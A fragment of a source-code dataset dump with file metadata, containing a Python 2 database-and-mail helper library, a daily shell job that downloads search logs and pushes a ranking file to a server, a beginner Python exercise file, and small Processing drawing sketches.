\"license_type\": \"no_license\",\n \"max_line_length\": 110,\n \"num_lines\": 147,\n \"path\": \"/lib/base_lib.py\",\n \"repo_name\": \"magicbupt/ltr_feartures_compute_job\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/usr/bin/env python\\n#encoding:utf-8\\n\\n##Author:maorui\\n##Date :2012-08-30\\n##File :base_lib.py\\n##comment:基础类库用于封装一些简单的功能\\n##\\t\\t\\n\\t\\t\\nimport sys\\nimport os\\nfrom ConfigParser import RawConfigParser\\nfrom ConfigParser import *\\nfrom getopt import getopt\\nimport logging\\nimport logging.config\\nimport time\\nimport datetime\\nimport socket\\t\\t\\t\\t\\nimport struct\\n\\nfrom data_access_object import DataObject\\nfrom db_factory import DBFactory\\nfrom Joblog import Joblog\\nfrom mail_sender import MailSender\\n\\ndef get_path():\\n\\t\\n\\t\\\"\\\"\\\"\\n\\tget opt parameter\\n\\t\\\"\\\"\\\"\\n\\tpath =''\\n\\ttry:\\n\\t\\topts, val = getopt(sys.argv[1:], 'c:', ['path='])\\n\\t\\tconf_path = ''\\n\\t\\tfor opt, var in opts:\\n\\t\\t\\tif opt in ['-c']:\\n\\t\\t\\t\\tconf_path = var\\n\\t\\t\\tif opt in ['--path']:\\n\\t\\t\\t\\tconf_path = var\\n\\t\\tif not os.path.exists(conf_path):\\n\\t\\t\\traise Exception,'the path is not existence'\\n\\texcept Exception,ex:\\n\\t\\traise Exception,ex\\n\\n\\treturn conf_path \\n\\n\\n\\nclass BaseLib(object):\\n\\n\\tdef __init__(self,conf_path):\\n\\t \\n\\t\\t'''\\n\\t\\t初始化配置文件和日志文件\\n\\t\\t'''\\n\\t\\tself.connfile = '%s/conf/connect.cfg' % (conf_path)\\n\\t\\tself.sqlfile = '%s/conf/sql.cfg' % (conf_path)\\n\\t\\t\\n\\t\\tself.config = RawConfigParser()\\n\\t\\tself.config.read(self.connfile)\\n\\t\\tself.sqlsets = RawConfigParser()\\n\\t\\tself.sqlsets.read(self.sqlfile)\\n\\t\\n\\tdef connect_db(self,section = ''):\\n\\t\\t\\\"\\\"\\\"\\n\\t\\t主要用于连接数据库，并返回连接对象\\n\\t\\t\\\"\\\"\\\"\\n\\t\\tsection = section.strip(' ')\\n\\t\\ttry:\\n\\t\\t\\tdbtype = self.config.get(section,'dbtype')\\n\\t\\t\\thost = self.config.get(section,'host')\\n\\t\\t\\tuser = self.config.get(section,'user')\\n\\t\\t\\tpassword = self.config.get(section,'password')\\n\\t\\t\\tport = self.config.get(section,'port')\\n\\t\\t\\tdatabase = self.config.get(section,'database')\\n\\t\\texcept: \\n\\t\\t\\traise Exception, 'get %s date error' % (section)\\n\\t\\ttry:\\n\\t\\t\\tsql_conn = DBFactory.Connect(dbtype = dbtype,host = host,database = database,charset = 'utf8',user = user,\\\\\\n\\t\\t\\t\\t\\t\\t\\t password = password,port = port)\\n\\t\\t\\tsql_conn.get_cursor()\\n\\t\\texcept:\\n\\t\\t\\traise Exception, 'connect databse under %s error' % (section)\\n\\t\\treturn sql_conn\\n\\t\\n\\tdef get_sql(self,section = '',option = ''):\\n\\t\\t'''\\n\\t\\t获取配置文件中的sql语句\\n\\t\\t'''\\n\\t\\tsql = ''\\n\\t\\tsection = section.strip(' ')\\n\\t\\toption = option.strip('')\\n\\t\\ttry:\\n\\t\\t\\tsql = self.sqlsets.get(section, option)\\n\\t\\texcept: \\n\\t\\t\\traise Exception, 'get sql under %s %s error' % (section,option)\\n\\t\\treturn sql\\n\\n\\tdef get_monitor(self,title = ''):\\n\\t\\t\\\"\\\"\\\"\\n\\t\\tget monitor object\\n\\t\\t\\\"\\\"\\\"\\n\\t\\tjoblog = None\\n\\t\\ttitle = title.strip(' ')\\n\\n\\t\\ttry: \\n\\t\\t\\thost = self.config.get(title, 'host')\\n\\t\\t\\tuid\\t= self.config.get(title, 'user')\\n\\t\\t\\tpwd\\t= self.config.get(title, 'password')\\n\\t\\t\\tdb\\t = self.config.get(title, 'database')\\n\\t\\t\\tjoblog = Joblog(host, uid, pwd, db)\\n\\t\\t\\t\\n\\t\\texcept Exception, ex: \\n\\t\\t\\treturn \\n\\n\\t\\treturn joblog\\n\\n\\tdef send_mail(self,title, content):\\n\\t\\t'''\\n\\t\\t出现异常是发送邮件报告\\n\\t\\t'''\\n\\t\\t#初始化邮件发送对象\\n\\n\\t\\temail = MailSender()\\n\\t\\ttry:\\n\\t\\t\\temail_to = self.config.get('email','receiver')\\n\\t\\t\\temail_receivers = email_to.split(';')\\n\\t\\t\\temail.sendMail(email_receivers,title, str(content))\\n\\t\\texcept Exception, ex: \\n\\t\\t\\treturn \\n\\n\\n\\n\\ndef test():\\n\\tpath = get_path()\\n\\tprint path\\n\\n\\tobj = BaseLib(path)\\n\\t\\n\\tsql_conn = obj.connect_db('connect_mysql')\\n\\tsql = obj.get_sql('SELECT','get_region_list')\\n\\tsql_conn.execute(sql)\\n\\nif __name__ == '__main__':\\n\\ttest()\\n\"\n },\n {\n \"alpha_fraction\": 0.6517386436462402,\n \"alphanum_fraction\": 0.692307710647583,\n \"avg_line_length\": 22.14634132385254,\n \"blob_id\": \"3af4098962779133eb61e0afe57031df26ce56d3\",\n \"content_id\": \"d260fa815785a8ae7b4659de5ace020f40ea199c\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 1898,\n \"license_type\": \"no_license\",\n \"max_line_length\": 105,\n \"num_lines\": 82,\n \"path\": \"/bin/everyday_job.sh\",\n \"repo_name\": \"magicbupt/ltr_feartures_compute_job\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/bin/sh\\nPYTHON=/usr/local/bin/python\\n\\nwork_path=\\\"/d2/caiting/search_ranking/ltr_feartures_compute_job\\\"\\n\\ndata_url=\\\"http://192.168.197.151:9030/joblog/data/\\\" \\nclick_url=\\\"http://192.168.197.151:9030/joblog/click/detail/\\\"\\nuv_url=\\\"http://192.168.197.176:9030/joblog/data/\\\"\\n\\nsearch_lastday=$(date -d yesterday +%Y%m%d)\\nuv_lastday=$(date -d yesterday +%Y-%m-%d)\\n\\nsearch_log=log\\\\-$search_lastday\\\\_search.clean.tar.bz2\\nclick_log=search\\\\-${search_lastday:2:8}\\nday_uv_log=uv_d_$uv_lastday\\nweek_uv_log=uv_w_$uv_lastday\\nmonth_uv_log=uv_m_$uv_lastday\\n\\necho $search_lastday\\n\\n# load search log data from url \\necho \\\"load show, click and uv data from url ...\\\"\\nif [ $? -eq 0 ];then\\n\\tcd $work_path/data/temp_data\\n\\twget $data_url$search_log\\n\\twget $click_url$click_log\\n\\twget $uv_url$day_uv_log\\n\\twget $uv_url$week_uv_log\\n\\twget $uv_url$month_uv_log\\n\\ttar -jxvf $search_log && rm -f *.tar.*\\nelse\\n\\texit -1\\nfi\\n\\n\\n#get each feature from mysql\\necho \\\"load product info from db and init search_log data ...\\\"\\nif [ $? -eq 0 ];then\\n\\tcd $work_path/bin\\n\\t$PYTHON main.py \\nelse\\n\\texit -2\\nfi \\n\\n# caculate ctr for each pid\\necho \\\"caculate ctr ...\\\"\\nif [ $? -eq 0 ];then\\n\\tcd $work_path/bin\\n\\t$PYTHON caculate_features_for_model.py $search_lastday\\nelse\\n\\texit -3\\nfi\\n\\n# change data to static_hashmap and then send to online search_engine\\necho \\\"change pid_ctr file to statichashmap and scp to search server...\\\"\\nif [ $? -eq 0 ];then\\n\\t./map2hashmap\\n\\tscp ../data/pid2rankvalue search@192.168.85.131:/home/search/caiting/search_test/modules/search_ranking/\\nelse\\n\\texit -4\\nfi\\n \\n\\n# clear the search_log data\\necho \\\"clean temp_data/* ...\\\"\\nif [ $? -eq 0 ];then\\n\\t#cd $work_path/data && rm -f product_info_$uv_lastday \\n\\tcd $work_path/data/temp_data/ && rm -f *\\nelse\\n\\texit -5\\nfi\\n\\n#save data for thrift server\\necho \\\"thrift data saving ...\\\"\\nif [ $? -eq 0 ];then\\n\\tcd $work_path/bin\\n\\t$PYTHON set_thrift_server_data.py $search_lastday\\nelse\\n\\texit -6\\nfi\\n\\necho \\\"ok !\\\"\\n\"\n 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like","value":[{"alpha_fraction":0.47109469771385193,"alphanum_fraction":0.505945086479187,"avg_line_length":12.042780876159668,"blob_id":"308c474e2d07f16607229e392dcb871006eb9a4b","content_id":"7ebe63f5acdc2d6469efa60c795206fb60f7d470","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2679,"license_type":"no_license","max_line_length":61,"num_lines":187,"path":"/1211.py","repo_name":"shiinaL/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\n\n# 输入打印\n# s = input('input your birthday:')\n# birthday = int(s)\n# if birthday <20:\n# \tprint('hello',birthday)\n# else:\n# \tprint('hi',birthday)\n\n# 数据列表的使用\n# list\nlist_a = [1, False, '123', [1, 2]]\n# 添加\nlist_a.append(9)\nprint(list_a)\n# 删除\nlist_a.pop()\nprint(list_a)\nlist_a.pop(0)\nprint(list_a)\n# 修改\nlist_a[0] = True\nprint(list_a)\nlist_a.insert(1, 998)\nprint(list_a)\n# 查询\nprint(list_a[1])\n\n# tuple\ntuple_a = ('司马光', '祖冲之', '魏延')\n# 查询\nprint(tuple_a[0])\n\n# 条件判断\nage = 19\nif age > 18:\n print('你已成年')\n\n# 循环\nfor n in range(0, 10):\n if(n > 5):\n break\n print(n)\n\nfor n in range(0, 10):\n if(n % 2 == 0):\n continue\n print(n)\n\n# 字典的使用\n# dist\ndist_a = {'a': 1, 'b': 2, 'c': 3}\n# 添加\ndist_a['d'] = 4\nprint(dist_a)\n# 删除\ndist_a.pop('d')\nprint(dist_a)\n# 修改\ndist_a['a'] = 9\nprint(dist_a)\n# 查询\nprint(dist_a['c'])\n\n# set\nset_a = set([1, 2, 3, 'a'])\nprint(set_a)\n# 添加\nset_a.add(3)\nset_a.add(4)\nprint(set_a)\n# 删除\nset_a.remove('a')\nprint(set_a)\n\n# 函数\n# 绝对值\nprint(abs(-99))\n\n# 给函数设置别名\nf = float\nprint(f(\"11.22\"))\n\n# 自定义函数\n\n\ndef my_abs(x):\n if not isinstance(x, (float, int)):\n raise TypeError(\"bad operand type\")\n if x >= 0:\n return x\n else:\n return -x\n# my_abs('123d')\n\n# 函数关键字参数\n\n\ndef person(name, age, **kw):\n if \"city\" in kw:\n print(\"city=\"+kw[\"city\"])\n print({\"name\": name, \"age\": age, \"other\": kw})\n\n\n# 函数调用\nperson(\"li\", 12, gender=\"F\", id=\"89757\", city=\"dali\")\n\n# 递归函数\n\n\ndef fetch(x):\n if x == 1:\n return 1\n else:\n return x*fetch(x-1)\n\n\n# 调用\nprint(fetch(5))\n\n\ndef fach(n):\n return fach_fach(n, 1)\n\n\ndef fach_fach(n, p):\n if n == 1:\n return p\n else:\n return fach_fach(n-1, n*p)\n\n\nprint(fach(5))\n\n\n# 去除字符首尾空格\ndef trim(s):\n if s == \"\":\n return s\n if s[0] == \" \":\n s = s[1:]\n return trim(s)\n if s[-1] == \" \":\n s = s[:-1]\n return trim(s)\n return s\n\n# 查找list中的最小和最大值\n\n\ndef findMinAndMax(L):\n if L == []:\n return (None, None)\n\n a = L[0]\n b = L[0]\n\n for n in L:\n if a > n:\n a = n\n if b < n:\n b = n\n\n return a, b\n\n\n# 列表生成式\nL1 = ['Hello', 'World', 18, 'Apple', None]\n\nL2 = [s.lower() for s in L1 if isinstance(s, str)]\n\nprint(L2)\n\n\n#生成器 杨辉三角\ndef triangles():\n\tL = [1]\n\twhile True:\n\t\tyield L\n\t\tL = [1] + [L[i - 1] + L[i] for i in range(1, len(L))] + [1]\n\n\nfor i,n in enumerate(triangles()):\n\t# if i == 10:\n\t# \tbreak\n\tprint(n)\n"}],"string":"[\n {\n \"alpha_fraction\": 0.47109469771385193,\n \"alphanum_fraction\": 0.505945086479187,\n \"avg_line_length\": 12.042780876159668,\n \"blob_id\": \"308c474e2d07f16607229e392dcb871006eb9a4b\",\n \"content_id\": \"7ebe63f5acdc2d6469efa60c795206fb60f7d470\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2679,\n \"license_type\": \"no_license\",\n \"max_line_length\": 61,\n \"num_lines\": 187,\n \"path\": \"/1211.py\",\n \"repo_name\": \"shiinaL/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\n\\n# 输入打印\\n# s = input('input your birthday:')\\n# birthday = int(s)\\n# if birthday <20:\\n# \\tprint('hello',birthday)\\n# else:\\n# \\tprint('hi',birthday)\\n\\n# 数据列表的使用\\n# list\\nlist_a = [1, False, '123', [1, 2]]\\n# 添加\\nlist_a.append(9)\\nprint(list_a)\\n# 删除\\nlist_a.pop()\\nprint(list_a)\\nlist_a.pop(0)\\nprint(list_a)\\n# 修改\\nlist_a[0] = True\\nprint(list_a)\\nlist_a.insert(1, 998)\\nprint(list_a)\\n# 查询\\nprint(list_a[1])\\n\\n# tuple\\ntuple_a = ('司马光', '祖冲之', '魏延')\\n# 查询\\nprint(tuple_a[0])\\n\\n# 条件判断\\nage = 19\\nif age > 18:\\n print('你已成年')\\n\\n# 循环\\nfor n in range(0, 10):\\n if(n > 5):\\n break\\n print(n)\\n\\nfor n in range(0, 10):\\n if(n % 2 == 0):\\n continue\\n print(n)\\n\\n# 字典的使用\\n# dist\\ndist_a = {'a': 1, 'b': 2, 'c': 3}\\n# 添加\\ndist_a['d'] = 4\\nprint(dist_a)\\n# 删除\\ndist_a.pop('d')\\nprint(dist_a)\\n# 修改\\ndist_a['a'] = 9\\nprint(dist_a)\\n# 查询\\nprint(dist_a['c'])\\n\\n# set\\nset_a = set([1, 2, 3, 'a'])\\nprint(set_a)\\n# 添加\\nset_a.add(3)\\nset_a.add(4)\\nprint(set_a)\\n# 删除\\nset_a.remove('a')\\nprint(set_a)\\n\\n# 函数\\n# 绝对值\\nprint(abs(-99))\\n\\n# 给函数设置别名\\nf = float\\nprint(f(\\\"11.22\\\"))\\n\\n# 自定义函数\\n\\n\\ndef my_abs(x):\\n if not isinstance(x, (float, int)):\\n raise TypeError(\\\"bad operand type\\\")\\n if x >= 0:\\n return x\\n else:\\n return -x\\n# my_abs('123d')\\n\\n# 函数关键字参数\\n\\n\\ndef person(name, age, **kw):\\n if \\\"city\\\" in kw:\\n print(\\\"city=\\\"+kw[\\\"city\\\"])\\n print({\\\"name\\\": name, \\\"age\\\": age, \\\"other\\\": kw})\\n\\n\\n# 函数调用\\nperson(\\\"li\\\", 12, gender=\\\"F\\\", id=\\\"89757\\\", city=\\\"dali\\\")\\n\\n# 递归函数\\n\\n\\ndef fetch(x):\\n if x == 1:\\n return 1\\n else:\\n return x*fetch(x-1)\\n\\n\\n# 调用\\nprint(fetch(5))\\n\\n\\ndef fach(n):\\n return fach_fach(n, 1)\\n\\n\\ndef fach_fach(n, p):\\n if n == 1:\\n return p\\n else:\\n return fach_fach(n-1, n*p)\\n\\n\\nprint(fach(5))\\n\\n\\n# 去除字符首尾空格\\ndef trim(s):\\n if s == \\\"\\\":\\n return s\\n if s[0] == \\\" \\\":\\n s = s[1:]\\n return trim(s)\\n if s[-1] == \\\" \\\":\\n s = s[:-1]\\n return trim(s)\\n return s\\n\\n# 查找list中的最小和最大值\\n\\n\\ndef findMinAndMax(L):\\n if L == []:\\n return (None, None)\\n\\n a = L[0]\\n b = L[0]\\n\\n for n in L:\\n if a > n:\\n a = n\\n if b < n:\\n b = n\\n\\n return a, b\\n\\n\\n# 列表生成式\\nL1 = ['Hello', 'World', 18, 'Apple', None]\\n\\nL2 = [s.lower() for s in L1 if isinstance(s, str)]\\n\\nprint(L2)\\n\\n\\n#生成器 杨辉三角\\ndef triangles():\\n\\tL = [1]\\n\\twhile True:\\n\\t\\tyield L\\n\\t\\tL = [1] + [L[i - 1] + L[i] for i in range(1, len(L))] + [1]\\n\\n\\nfor i,n in enumerate(triangles()):\\n\\t# if i == 10:\\n\\t# \\tbreak\\n\\tprint(n)\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":1,"string":"1"}}},{"rowIdx":2978392,"cells":{"repo_name":{"kind":"string","value":"NikolajChuguev/12345"},"repo_url":{"kind":"string","value":"https://github.com/NikolajChuguev/12345"},"snapshot_id":{"kind":"string","value":"bc8eda2fabd8a5b4a18c45431ff57fd51dd0ffd1"},"revision_id":{"kind":"string","value":"d797b57922cffe4ccbc6d582422a71421bffc1da"},"directory_id":{"kind":"string","value":"ea30e26ed125b86fcda7ca49ffad72c8d5faf130"},"branch_name":{"kind":"string","value":"refs/heads/main"},"visit_date":{"kind":"timestamp","value":"2023-02-03T10:55:15.096998","string":"2023-02-03T10:55:15.096998"},"revision_date":{"kind":"timestamp","value":"2020-12-21T19:28:22","string":"2020-12-21T19:28:22"},"committer_date":{"kind":"timestamp","value":"2020-12-21T19:28:22","string":"2020-12-21T19:28:22"},"github_id":{"kind":"number","value":306263672,"string":"306,263,672"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.4521963894367218,"alphanum_fraction":0.5813953280448914,"avg_line_length":19.5,"blob_id":"f18fec8223fbe4e11f063ea8136fc549715947de","content_id":"098d34c0f58e6c9abb92d347ad7b242cd95a2391","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":387,"license_type":"no_license","max_line_length":63,"num_lines":18,"path":"/sketch_201203a.pyde","repo_name":"NikolajChuguev/12345","src_encoding":"UTF-8","text":"colorr=0\r\ncolorg=0\r\ncolorb=0\r\ndef setup():\r\n size (1000,1000)\r\n background(0)\r\ndef draw(): \r\n global colorr,colorg,colorb\r\n if mouseX>450 and mouseY>450 and mouseY<550 and mouseX<550:\r\n colorr=255\r\n colorg=0\r\n colorb=0\r\n else :\r\n colorr=255\r\n colorg=255\r\n colorb=255\r\n fill(colorr,colorg,colorb)\r\n ellipse(500,500,100,100)\r\n"},{"alpha_fraction":0.38790035247802734,"alphanum_fraction":0.46975088119506836,"avg_line_length":13.61111068725586,"blob_id":"a68fbec03107a2de3682378b58a0f1749e67bf9b","content_id":"67d0eb0aaf7071aa2bdeb4a0f04d9443a69c5a6a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":281,"license_type":"no_license","max_line_length":40,"num_lines":18,"path":"/sketch_201119c.pyde","repo_name":"NikolajChuguev/12345","src_encoding":"UTF-8","text":"x, y = 0, 0\r\ndim = 80.0\r\n\r\ndef setup():\r\n size(640, 360)\r\n noStroke()\r\n\r\ndef draw():\r\n global x, y\r\n background(102)\r\n\r\n x = x + 0.8\r\n if x > width + dim:\r\n x = -dim\r\n\r\n translate(x, height / 2 - dim / 2)\r\n fill(255)\r\n ellipse(-dim / 2, -dim / 2, dim, dim)\r\n"},{"alpha_fraction":0.2982456088066101,"alphanum_fraction":0.3711200952529907,"avg_line_length":25.037036895751953,"blob_id":"fc0a56538067a79f6dcdb5351336ee6822e70c00","content_id":"7be9e7157dabf97500454ef2980817af504b85b4","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":741,"license_type":"no_license","max_line_length":52,"num_lines":27,"path":"/sketch_201112a.pyde","repo_name":"NikolajChuguev/12345","src_encoding":"UTF-8","text":"width = height = 1000\r\nny = 6\r\nnx = 6\r\nl = 100\r\nvar = 0\r\ndef setup(): \r\n size(width, height)\r\n stroke(0,128,0)\r\n noFill()\r\n frameRate(4) \r\ndef draw():\r\n global var \r\n background(192,192,192)\r\n for i in range(ny):\r\n for k in range(nx):\r\n x = ((k+1)*width/nx)-((width/nx)/2)\r\n y = ((i+1)*height/ny)-((height/ny)/2)\r\n if var == 0 :\r\n line(x, y-(l/2), x, y+(l/2))\r\n if var == 1 :\r\n rect(x-l/2, y-l/2, l, l)\r\n fill(255,255,0) \r\n if var == 2 :\r\n ellipse(x, y, l, l)\r\n fill(255,204,0) \r\n if frameCount %1 == 0 :\r\n var = (var+1)%3 \r\n \r\n"},{"alpha_fraction":0.3639344274997711,"alphanum_fraction":0.4721311330795288,"avg_line_length":16.484848022460938,"blob_id":"6d3a50923d4206fa23aa00aa96476a97edf34cb7","content_id":"5eae96dd2889c231a30656c2a4999e0951484a5e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":610,"license_type":"no_license","max_line_length":55,"num_lines":33,"path":"/sketch_26_11__3.pyde","repo_name":"NikolajChuguev/12345","src_encoding":"UTF-8","text":"x=1000\r\ny=1000\r\nx1=x/2\r\ny1=y/2\r\nspeed=5\r\n\r\ndef setup() :\r\n size(x,y)\r\n fill(0)\r\n\r\ndef keyPressed():\r\n global x1,y1\r\n if key == 'w':\r\n y1 = y1-speed\r\n if key == 's':\r\n y1 = y1+speed\r\n if key == 'a':\r\n x1 = x1-speed\r\n if key == 'd':\r\n x1 = x1+speed\r\ndef keyReleased():\r\n global x,y,x1,y1\r\n if key == ' ':\r\n x1 = random (0,x)\r\n y1 = random (0,y)\r\n background(255)\r\n ellipse(x1,y1,100,100) \r\n fill(random(0,255),random(0,255),random(0,255))\r\n\r\ndef draw():\r\n global x1,y1\r\n background(255)\r\n ellipse(x1,y1,100,100)\r\n"},{"alpha_fraction":0.42975205183029175,"alphanum_fraction":0.5785123705863953,"avg_line_length":15.285714149475098,"blob_id":"8a8c0f3596f809f5a284406a2e4a6e8f2192c62d","content_id":"6c03c893e6a80541c3f14599f1ff22de0e32ca17","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":121,"license_type":"no_license","max_line_length":34,"num_lines":7,"path":"/sketch_201126a.pyde","repo_name":"NikolajChuguev/12345","src_encoding":"UTF-8","text":"def setup() :\r\n size(1000,1000)\r\n fill(0)\r\n\r\ndef draw():\r\n background(255)\r\n ellipse(mouseX,mouseY,100,100)\r\n"}],"string":"[\n {\n \"alpha_fraction\": 0.4521963894367218,\n \"alphanum_fraction\": 0.5813953280448914,\n \"avg_line_length\": 19.5,\n \"blob_id\": \"f18fec8223fbe4e11f063ea8136fc549715947de\",\n \"content_id\": \"098d34c0f58e6c9abb92d347ad7b242cd95a2391\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 387,\n \"license_type\": \"no_license\",\n \"max_line_length\": 63,\n \"num_lines\": 18,\n \"path\": \"/sketch_201203a.pyde\",\n \"repo_name\": \"NikolajChuguev/12345\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"colorr=0\\r\\ncolorg=0\\r\\ncolorb=0\\r\\ndef setup():\\r\\n size (1000,1000)\\r\\n background(0)\\r\\ndef draw(): \\r\\n global colorr,colorg,colorb\\r\\n if mouseX>450 and mouseY>450 and mouseY<550 and mouseX<550:\\r\\n colorr=255\\r\\n colorg=0\\r\\n colorb=0\\r\\n else :\\r\\n colorr=255\\r\\n colorg=255\\r\\n colorb=255\\r\\n fill(colorr,colorg,colorb)\\r\\n ellipse(500,500,100,100)\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.38790035247802734,\n \"alphanum_fraction\": 0.46975088119506836,\n \"avg_line_length\": 13.61111068725586,\n \"blob_id\": \"a68fbec03107a2de3682378b58a0f1749e67bf9b\",\n \"content_id\": \"67d0eb0aaf7071aa2bdeb4a0f04d9443a69c5a6a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 281,\n \"license_type\": \"no_license\",\n \"max_line_length\": 40,\n \"num_lines\": 18,\n \"path\": \"/sketch_201119c.pyde\",\n \"repo_name\": \"NikolajChuguev/12345\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"x, y = 0, 0\\r\\ndim = 80.0\\r\\n\\r\\ndef setup():\\r\\n size(640, 360)\\r\\n noStroke()\\r\\n\\r\\ndef draw():\\r\\n global x, y\\r\\n background(102)\\r\\n\\r\\n x = x + 0.8\\r\\n if x > width + dim:\\r\\n x = -dim\\r\\n\\r\\n translate(x, height / 2 - dim / 2)\\r\\n fill(255)\\r\\n ellipse(-dim / 2, -dim / 2, dim, dim)\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.2982456088066101,\n \"alphanum_fraction\": 0.3711200952529907,\n \"avg_line_length\": 25.037036895751953,\n \"blob_id\": \"fc0a56538067a79f6dcdb5351336ee6822e70c00\",\n \"content_id\": \"7be9e7157dabf97500454ef2980817af504b85b4\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 741,\n \"license_type\": \"no_license\",\n \"max_line_length\": 52,\n \"num_lines\": 27,\n \"path\": \"/sketch_201112a.pyde\",\n \"repo_name\": \"NikolajChuguev/12345\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"width = height = 1000\\r\\nny = 6\\r\\nnx = 6\\r\\nl = 100\\r\\nvar = 0\\r\\ndef setup(): \\r\\n size(width, height)\\r\\n stroke(0,128,0)\\r\\n noFill()\\r\\n frameRate(4) \\r\\ndef draw():\\r\\n global var \\r\\n background(192,192,192)\\r\\n for i in range(ny):\\r\\n for k in range(nx):\\r\\n x = ((k+1)*width/nx)-((width/nx)/2)\\r\\n y = ((i+1)*height/ny)-((height/ny)/2)\\r\\n if var == 0 :\\r\\n line(x, y-(l/2), x, y+(l/2))\\r\\n if var == 1 :\\r\\n rect(x-l/2, y-l/2, l, l)\\r\\n fill(255,255,0) \\r\\n if var == 2 :\\r\\n ellipse(x, y, l, l)\\r\\n fill(255,204,0) \\r\\n if frameCount %1 == 0 :\\r\\n var = (var+1)%3 \\r\\n \\r\\n\"\n },\n {\n \"alpha_fraction\": 0.3639344274997711,\n \"alphanum_fraction\": 0.4721311330795288,\n \"avg_line_length\": 16.484848022460938,\n \"blob_id\": \"6d3a50923d4206fa23aa00aa96476a97edf34cb7\",\n \"content_id\": \"5eae96dd2889c231a30656c2a4999e0951484a5e\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 610,\n \"license_type\": \"no_license\",\n \"max_line_length\": 55,\n \"num_lines\": 33,\n \"path\": \"/sketch_26_11__3.pyde\",\n \"repo_name\": \"NikolajChuguev/12345\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"x=1000\\r\\ny=1000\\r\\nx1=x/2\\r\\ny1=y/2\\r\\nspeed=5\\r\\n\\r\\ndef setup() :\\r\\n size(x,y)\\r\\n fill(0)\\r\\n\\r\\ndef keyPressed():\\r\\n global x1,y1\\r\\n if key == 'w':\\r\\n y1 = y1-speed\\r\\n if key == 's':\\r\\n y1 = y1+speed\\r\\n if key == 'a':\\r\\n x1 = x1-speed\\r\\n if key == 'd':\\r\\n x1 = x1+speed\\r\\ndef keyReleased():\\r\\n global x,y,x1,y1\\r\\n if key == ' ':\\r\\n x1 = random (0,x)\\r\\n y1 = random (0,y)\\r\\n background(255)\\r\\n ellipse(x1,y1,100,100) \\r\\n fill(random(0,255),random(0,255),random(0,255))\\r\\n\\r\\ndef draw():\\r\\n global x1,y1\\r\\n background(255)\\r\\n ellipse(x1,y1,100,100)\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.42975205183029175,\n \"alphanum_fraction\": 0.5785123705863953,\n \"avg_line_length\": 15.285714149475098,\n \"blob_id\": \"8a8c0f3596f809f5a284406a2e4a6e8f2192c62d\",\n \"content_id\": \"6c03c893e6a80541c3f14599f1ff22de0e32ca17\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 121,\n \"license_type\": \"no_license\",\n \"max_line_length\": 34,\n \"num_lines\": 7,\n \"path\": \"/sketch_201126a.pyde\",\n \"repo_name\": \"NikolajChuguev/12345\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def setup() :\\r\\n size(1000,1000)\\r\\n fill(0)\\r\\n\\r\\ndef draw():\\r\\n background(255)\\r\\n ellipse(mouseX,mouseY,100,100)\\r\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":5,"string":"5"}}},{"rowIdx":2978393,"cells":{"repo_name":{"kind":"string","value":"BYTEic/AstroAttack"},"repo_url":{"kind":"string","value":"https://github.com/BYTEic/AstroAttack"},"snapshot_id":{"kind":"string","value":"96883b65ea08c9a7d4c4c2b083d38f8691843ce5"},"revision_id":{"kind":"string","value":"9e535c55adf62e330c0084e1c490140fa98085bd"},"directory_id":{"kind":"string","value":"29242bffa158d10ed3d167805259461941b6c828"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-12-04T06:03:56.666171","string":"2020-12-04T06:03:56.666171"},"revision_date":{"kind":"timestamp","value":"2020-01-03T19:04:59","string":"2020-01-03T19:04:59"},"committer_date":{"kind":"timestamp","value":"2020-01-03T19:04:59","string":"2020-01-03T19:04:59"},"github_id":{"kind":"number","value":231646859,"string":"231,646,859"},"star_events_count":{"kind":"number","value":1,"string":"1"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list 